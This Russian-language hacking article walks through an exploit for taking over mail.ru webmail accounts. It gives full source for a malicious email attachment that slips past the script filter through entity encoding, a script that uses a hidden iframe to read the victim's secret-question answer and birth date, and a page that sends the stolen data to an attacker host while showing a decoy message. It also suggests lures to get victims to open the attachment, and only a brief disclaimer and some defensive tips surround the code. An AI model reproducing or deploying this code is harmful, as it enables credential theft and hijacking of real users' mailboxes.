В этой статье будет описан способ взлома бесплатных почтовых ящиков, основанных на Web-интерфейсе. В качестве примера я приведу эксплоит для популярной почтовой службы mail.ru. Смысл взлома должен быть понятен сразу. При регистрации в почтовой системе, mail.ru просит пользователя ввести регистрационную информацию, а также секретный вопрос и ответ на этот секретный вопрос.
Смысл: Возможность своровать ответ на секретный вопрос и дату рождения. Затем поменять пароль, вспользовавшись системой восстановления пароля.
Cкажу, что эта статья не является руководством к действию. Она, скорее всего, служит информацией к размышлению. Даст вам понять, как лучше защитить свою почту на mail.ru. Написанный скрипт тестировался в IE 5.5 на платформе Windows 2000. Всё, что ниже, скорее всего, тоже не даст отказ на выполнение скрипта.
В этой статье будет описан способ взлома бесплатных почтовых ящиков, основанных на Web-интерфейсе. В качестве примера я приведу эксплоит для популярной почтовой службы mail.ru. Смысл взлома должен быть понятен сразу. При регистрации в почтовой системе, mail.ru просит пользователя ввести регистрационную информацию, а также секретный вопрос и ответ на этот секретный вопрос.
Попробуйте зайти в свой ящик, зайдите в раздел настроек "Регистрационная информация", и вы увидите ответ на свой контрольный вопрос. То есть mail.ru его не скрывает, а явно показывает любому, кто откроет страницу регистрационной информации. Что мы делаем? Мы просто пишем скрипт, шлём этот скрипт пользователю почтовой системы. Он открывает его, а скрипт делает своё черное дело. Срипт откроет страницу регистрационной информации, считает ответ на секретный вопрос, дату рождения и отправит его к нам. Вот и всё! Потом при попытке ввода пароля мы скажем ,что не помним его. Mail.ru попросит нас ввести логин, ответ на вопрос и дату рождения, после чего предложит ввести новый пароль. Если вы заметите, то регистрационная информация хранится по тому же url, что и весь сеанс, только в конце добавляется userinfo.
Вообще, скажу, что описываемая в данной статье дыра, существует на mail.ru уже год - это точно! Именно год назад мне пришла в голову идея написания такого скрипта. Но было просто лень это делать. В течение года я нигде не видел ничего явно написанного по этому поводу, и вот решил написать сию статью сам. Плюс ко всему пропало доверие одного человека ко мне. И просто обидно, когда тебе не верят, а ты на самом деле прав! С горя надо было чем-то заняться! ;) Поэтому сия статья одной хорошой девушке посвящается... Ну ладно, не будем отвлекаться. Приступлю к описанию самого эксплоита.
Главным условием должно быть то, чтобы пользователь просматривал почту через Web-интерфейс mail.ru, а не скачивал свою почту какой-нибудь почтовой программой. Это первое условие. Второе условие - это чтобы у пользователя была включена обработка скриптов. Ну, это почти всегда включено у обычного пользователя.
Будут использованы три скрипта:
Letter.html - файл со скриптом, который будет отослан жертве; Scenario.js - сценарий, который будет воровать информацию; Send.html - скрипт для отправки полученной информации нам.
Конечно, можно было всё это написать в одном файле, но так будет проще. Почему - вы поймёте потом.
Файл letter.html мы шлём жертве. Роль letter.html очень проста. Он всего лишь вызывает сценарий scenario.js, который лежит на нашем сервере, скажем, на http://myhost.narod.ru/scenario.js. myhost - это ваше имя, под которым вы зарегистрированы на narod.ru. Mail.ru просматривает вложенные файлы и предупреждает если в них есть срикпты. Эту защиту мы обходим, путёчм встраивания скрипта в рисунок и заменой тегов их 10-ричными эквивалентами. Итак, файл letter.html:
Letter.html
--------------
<html>
<img src="javascript:document.write('<html><script language=javascript src=http://myhost.narod.ru/scenario.js></script>');">
</html>
--------------
Но если мы пошлём такой файл, то mail.ru скажет, что он опасен, так как найдёт в нём срипты. Поэтому мы заменим теги и слеш на их 10-ричные эквиваленты. То есть вместо < будем писать < и так далее. (60 это ascii код символа <). В итоге мы получим окончательный вариант файла letter.html
Letter.html
--------------
<html>
<img src="javascript:document.write('<html><script language=javascript src=http://myhost.narod.ru/scenario.js></script>');">
</html>
--------------
Этот код mail.ru уже пропустит без особых проблем. Letter.html - это только вложение. Сам же текст письма нужно сделать таким, чтобы жертва открыла вложенный файл. Ну, можно написать, что там очень интересная любовная история, или там как раз та информация, которую ты просил(а). Это уже ваша фантазия.
Когда открывается вложенное письмо, то url может быть обычным, а может включать в себя session id. Но в любом случае он заканчивается на readmsg. Пусть http://bla-bla-bla/readmsg/bla-bla Регистрационную информацию тогда можно открыть по адресу: http://bla-bla/userinfo. То есть мы просто считываем урл, берём только ту его часть, что предшествует readmsg и добавляем к полученному userinfo. Этим у нас будет заниматься наш сценарий scenario.js. Итак, приведу его код, а потом объясню, что есть что.
Scenario.js (в одну строчку)
--------------
url=location.href.substring(0,location.href.search('readmsg'));
document.write('<iframe src='+url+'userinfo name=info width=0 height=0
onload=read()></iframe>');
document.write("<script>function read(){ans=document.info.document.forms[0].Password_Answer.value;
dd=document.info.document.forms[0].BirthDay.value;mm=document.info.document.forms[0].BirthMonth.value;
yy=document.info.document.forms[0].BirthYear.value;sstr='ans:'+ans+',d:'+dd+',m:'+mm+',y:'+yy;
location.href='http://myhost.narod.ru/send.html?'+sstr+'&split&'+url+'msglist';}</script>");
--------------
Кстати, все коды я привожу заключённые между пунктирными линиями. Сами пунктирные линии, естественно, вводить не нужно. Итак, первой строчкой url=location.href.substring(0,location.href.search('readmsg')); мы считываем url того места, откуда читается письмо, затем берём только ту часть, которая предшествует readmsg. Получается, что регистрационная информация хранится по адресу: url+'userinfo'.
Идёи далее. document.write('<iframe src='+url+'userinfo name=info width=0 height=0 onload=read()></iframe>'); Здесь мы создаём рамку размером 0 на 0. в нём загружаем страницу с регистрационной информацией. Даём имя рамке info, и говорим, что когда рамка загрузится, то выполнить функцию read().
Далее идёт описание самой функции read(). Функция обращается к полям формы регистрационной информации. Обращение document.info - обращение к рамке, а document.info.document.forms[0] - обращение к форме, которая хранит в себе нужную нам информацию. Нам нужны только поля Password_Answer, BirthDay, BirthMonth, BirthYear. Считываем эти значения в переменные ans, dd, mm, yy соответственно. Затем переписываем всё в одну строку sstr. Если, например, ответом на вопрос будет cool, а дата рождения 18 июня 1984 года, тогда строка sstr будет выглядеть следующим образом: "ans:cool,d:18,m:6,y:1984".
Всё. Теперь осталось только передать эту строку нам. Просто вызываем скрипт, который сохраняет полученную в командной строке информацию Ну, например, location.href='http://myhost.ru/save.php?str='+sstr+'url='+url+'msglist';
В итоге скрипту save.php будут переданы два параметра: str будет содержать нужную нам информацию, а url будет содержать адрес, на который надо перебросить жертву. То есть мы возвращаем его обратно в его почтовый ящик, предварительно выдав сообщение о том, что письмо не найдено на сервере. Это делается для того, чтобы жертва ничего не заметила.
Если же нет возможности писать php, то можно сделать ещё проще. Просто создаём на том же www.narod.ru анкету, которая отправляет данные на e-mail. Пусть анкета называется send.html. Передаём наши данные этой анкете:
location.href='http://myhost.narod.ru/send.html?'+sstr+'&split&'+url+'msglist';
В приведённом сценарии именно такой метод используется. Далее надо изменить код самой анкеты вручную. Приведу пример того, что должно появиться в анкете:
Send.html
--------------
<html>
<body>
<center><font>Файл не найден на нашем сервере...</font></center>
<form ENCTYPE="multipart/form-data" action="http://narod.yandex.ru/send-poll.xhtml" method=POST>
<input type=hidden name="a[info]" value="empty"></font></td> <input type=hidden name="email" value="myhost@narod.ru"> <input type=hidden name="title" value="info from mail.ru"> <input type=hidden name="login" value="myhost"> <input type=hidden name="backlink" value="http://win.mail.ru/cgi-bin/msglist">
<input type=hidden name="backtext" value="На главную страницу"> <input type=hidden name="separator" value=""> <input type=hidden name="mess" value="thanx"> <input type=hidden name="yourans" value="Ваш ответ:"> <input type=hidden name="vari" value="4"> <input type=hidden name="forceforward" value="Да"> </form>
<script>
var ex_url=location.search.substring(1);
var arr=ex_url.split("&split&"); document.forms[0].elements[0].value=arr[0];
document.forms[0].backlink.value=arr[1];
document.forms[0].submit();
</script>
</body>
</html></body></html>
--------------
То есть сама из себя эта анкета выдаёт внешне лишь одно сообщение - сообщение о том, что файл не найден на сервере. Далее идёт посылка данных анкеты и переадресация в почтовый ящик жертвы. Опишу, скрипт, который добавлен в конце кода анкеты.
var ex_url=location.search.substring(1); //Считываем в переменную ex_url всё то, что следует за знаком вопроса (то есть информация и урл, куда надо перебросить жертву).
var arr=ex_url.split("&split&"); Разбиваем строку на два значения. Когда мы посылали строку sstr в скрипте scenario.js, то искусственно добавили '&split&', чтобы потом по этому слову делить строку.
В итоге мы получили массив из двух элементов:
arr[0] - здесь хранится строка sstr (то есть нужная нам информация); arr[1] - здесь хранится урл, куда надо перебросить жертву.
document.forms[0].elements[0].value=arr[0]; //Сохраняем информацию в поле анкеты. document.forms[0].backlink.value=arr[1]; //сохраняем линк для автоматической переадресации после отправления данных анкеты.
document.forms[0].submit(); //отправляем данные анкеты.
Вот и всё. Теперь в вашем почтовом ящике, на который отправляются данные анкеты, есть письмо, в котором содержатся ответ на секретный вопрос и дата рождения жертвы с почтовой системы mail.ru.
Спасибо за внимание! ;)
Ещё раз хочу сказать, чтобы вы не воспринимали эту статью как руководство к действию. Я просто хочу вас обезопасить от подобного взлома. Потому что эта дыра существует не только на mail.ru. Она же есть и на www.aport.ru, и наверянка ещё на многих бесплатных почтовых службах. Скажу только, что этой дыры нет в системе Яндекс. Если вы попытаетесь просмотреть секретны ответ на вопрос, то система выдаст в поле ответа, что "Ответ введён, но не показан".
Если эту статью читает кто-либо из системной администрации почтовых служб, то попытайтесь прикрыть эту дыру - просто не выдавайте секретной информации. Если же вы пользователь mail.ru или любой другой Web-почты, где есть такая дыра, то к вам просьба не открывать подозрительных писем. Если же вы всё же открываете письмо, тогда приостановите выполнение сриптов (это можно сделать в настройках Браузера). А самый лучший способ - это просто не пользоваться Web-интерфейсом, а скачивать почту к себе с помощью почтовых программ.
===========================================================================
В курсе БЕЗОПАСНОСТЬ СИСТЕМ ЭЛЕКТРОННОЙ ПОЧТЫ рационально чередуются систематизированные теоретические сведения и практические работы слушателей под руководством опытного инструктора. В качестве базовой при проведении практических занятий по безопасной установке, настройке и администрированию используется система электронной почты на основе продуктов Microsoft (Exchange Server/Outlook/Outlook Express/OWA). В разделе, посвященном Linux, рассматривается система электронной почты на основе наиболее популярных в среде Unix почтовых программ (sendmail, qmail, postfix).
И мы тоже не спим, чтобы держать вас в курсе всех угроз